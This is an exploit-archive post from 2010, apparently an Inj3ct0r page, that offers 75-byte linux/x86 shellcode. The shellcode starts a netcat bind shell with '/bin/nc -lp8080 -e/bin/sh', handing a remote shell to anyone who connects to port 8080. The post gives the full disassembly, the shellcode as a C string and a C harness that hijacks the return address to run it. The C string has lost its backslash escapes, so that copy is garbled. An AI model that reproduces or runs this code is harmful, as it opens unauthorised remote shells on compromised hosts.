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linux/x86 netcat bindshell port 8080 75 bytes

Posted on 11 July 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 netcat bindshell port 8080 75 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=============================================
linux/x86 netcat bindshell port 8080 75 bytes
=============================================


/* 08048060 &lt;_start&gt;:
 8048060:       eb 2a                   jmp    804808c &lt;GotoCall&gt;
 
08048062 &lt;shellcode&gt;:
 8048062:       5e                      pop    %esi
 8048063:       31 c0                   xor    %eax,%eax
 8048065:       88 46 07                mov    %al,0x7(%esi)
 8048068:       88 46 0f                mov    %al,0xf(%esi)
 804806b:       88 46 19                mov    %al,0x19(%esi)
 804806e:       89 76 1a                mov    %esi,0x1a(%esi)
 8048071:       8d 5e 08                lea    0x8(%esi),%ebx
 8048074:       89 5e 1e                mov    %ebx,0x1e(%esi)
 8048077:       8d 5e 10                lea    0x10(%esi),%ebx
 804807a:       89 5e 22                mov    %ebx,0x22(%esi)
 804807d:       89 46 26                mov    %eax,0x26(%esi)
 8048080:       b0 0b                   mov    $0xb,%al
 8048082:       89 f3                   mov    %esi,%ebx
 8048084:       8d 4e 1a                lea    0x1a(%esi),%ecx
 8048087:       8d 56 26                lea    0x26(%esi),%edx
 804808a:       cd 80                   int    $0x80
 
0804808c &lt;GotoCall&gt;:
 804808c:       e8 d1 ff ff ff          call   8048062 &lt;shellcode&gt;
 8048091:       2f                      das   
 8048092:       62 69 6e                bound  %ebp,0x6e(%ecx)
 8048095:       2f                      das   
 8048096:       6e                      outsb  %ds:(%esi),(%dx)
 8048097:       63 23                   arpl   %sp,(%ebx)
 8048099:       2d 6c 70 38 30          sub    $0x3038706c,%eax
 804809e:       38 30                   cmp    %dh,(%eax)
 80480a0:       23 2d 65 2f 62 69       and    0x69622f65,%ebp
 80480a6:       6e                      outsb  %ds:(%esi),(%dx)
 80480a7:       2f                      das   
 80480a8:       73 68                   jae    8048112 &lt;GotoCall+0x86&gt;
 80480aa:       23 41 41                and    0x41(%ecx),%eax
 80480ad:       41                      inc    %ecx
 80480ae:       41                      inc    %ecx
 80480af:       42                      inc    %edx
 80480b0:       42                      inc    %edx
 80480b1:       42                      inc    %edx
 80480b2:       42                      inc    %edx
 80480b3:       43                      inc    %ebx
 80480b4:       43                      inc    %ebx
 80480b5:       43                      inc    %ebx
 80480b6:       43                      inc    %ebx
 80480b7:       44                      inc    %esp
 80480b8:       44                      inc    %esp
 80480b9:       44                      inc    %esp
 80480ba:       44                      inc    %esp
*/
 
//bin/nc -lp8080 -e/bin/sh
char shellcode[] =
&quot;xebx2ax5ex31xc0x88x46x07x88x46x0fx88x46x19x89x76x1ax8dx5ex08x89x5ex1ex8dx5ex10x89x5ex22x89x46x26xb0x0bx89xf3x8dx4ex1ax8dx56x26xcdx80xe8xd1xffxffxffx2fx62x69x6ex2fx6ex63x23x2dx6cx70x38x30x38x30x23x2dx65x2fx62x69x6ex2fx73x68x23&quot;;
 
int main()
{
    int *ret;
    ret = (int *)&amp;ret + 2;
    (*ret) = (int)shellcode;
}


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